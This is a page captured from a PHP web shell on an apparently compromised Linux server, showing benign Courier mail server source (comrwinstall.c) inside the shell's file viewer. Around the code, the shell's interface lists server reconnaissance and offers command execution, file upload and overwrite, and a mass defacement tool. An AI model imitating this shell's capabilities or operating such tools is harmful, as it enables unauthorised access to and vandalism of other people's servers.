ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:19.46 GB of 70.42 GB (27.63%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ courier/ libs/ - drwxrwxrwx

Directory:
Viewing file:     comrwinstall.c (2.9 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 1998 - 2000 Double Precision, Inc.
** See COPYING for distribution information.
*/

#include    "courier.h"
#include    "rw.h"
#include    <stdio.h>
#include    <string.h>
#include    <stdlib.h>

/*
    Install transport module libraries.

    Depending upon compilation options, transport module libraries are
    either linked with statically, or loaded as shared libraries.

    This module provides a unified interface for either installation
    method.

    The rw_init() function from each module is called, and a link list
    of struct rw_transport is created which includes a pointer to the
    result of each rw_init function call.

    First rw_install_start() is called to initialize the list.

    Then, rw_install is called with the name of each configured transport
    module, and it's rw_install and rw_init functions.  The module's
    rw_install function is called, and the result is saved in the
    rw_transport list.

    When all transport modules have been initialized, rw_install_init
    gets called, which goes through and calls the rw_init functions
    of every previously installed transport module libraries.
*/

int rw_install_start()
{
    if (rw_init_verbose_flag)
    {
        clog_msg_start_info();
        clog_msg_str(COURIER_COPYRIGHT);
        clog_msg_send();
        clog_msg_start_info();
        clog_msg_str("Installing [");
        clog_msg_uint(RW_VERLO);
        clog_msg_str("/");
        clog_msg_uint(RW_VERHI);
        clog_msg_str("]");
        clog_msg_send();
    }
    rw_transport_first=0;
    rw_transport_last=0;
    return (0);
}

int rw_install( const char *name,
    struct rw_list *(*rw_install)(const struct rw_install_info *),
    const char *(*rw_init)() )
{
struct rw_transport *t;
struct rw_install_info install_info={RW_VERLO, RW_VERHI, COURIER_COPYRIGHT};

    if (rw_init_verbose_flag)
    {
        clog_msg_start_info();
        clog_msg_str("Installing ");
        clog_msg_str(name);
        clog_msg_send();
    }

    install_info.courier_home=courierdir();
    t=(struct rw_transport *)courier_malloc(sizeof(struct rw_transport));
    t->name=(char *)courier_malloc(strlen(name)+1);
    t->udata=0;
    if ((t->rw_ptr= (*rw_install)(&install_info)) == 0)
    {
        if (t->name)    free((void *)t->name);
        if (t)        free((void *)t);
        clog_msg_start_err();
        clog_msg_str("rw_install() failed, check for messages from the module.");
        clog_msg_send();
        return (-1);
    }
    strcpy(t->name, name);
    t->init=rw_init;
    if (rw_transport_last)    rw_transport_last->next=t;
    else    rw_transport_first=t;
    rw_transport_last=t;
    t->next=0;
    if (rw_init_verbose_flag)
    {
        clog_msg_start_info();
        clog_msg_str("Installed: ");
        clog_msg_str(t->rw_ptr->module_id);
        clog_msg_send();
    }
    return (0);
}

int rw_install_init()
{
struct rw_transport *t;
const char *err;

    for (t=rw_transport_first; t; t=t->next)
    {
        if (rw_init_verbose_flag)
        {
            clog_msg_start_info();
            clog_msg_str("Initializing ");
            clog_msg_str(t->name);
            clog_msg_send();
        }
        if ((err=(*t->init)()) != 0)
        {
            clog_msg_start_err();
            clog_msg_str(err);
            clog_msg_send();
            return (-1);
        }
    }
    return (0);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3107 seconds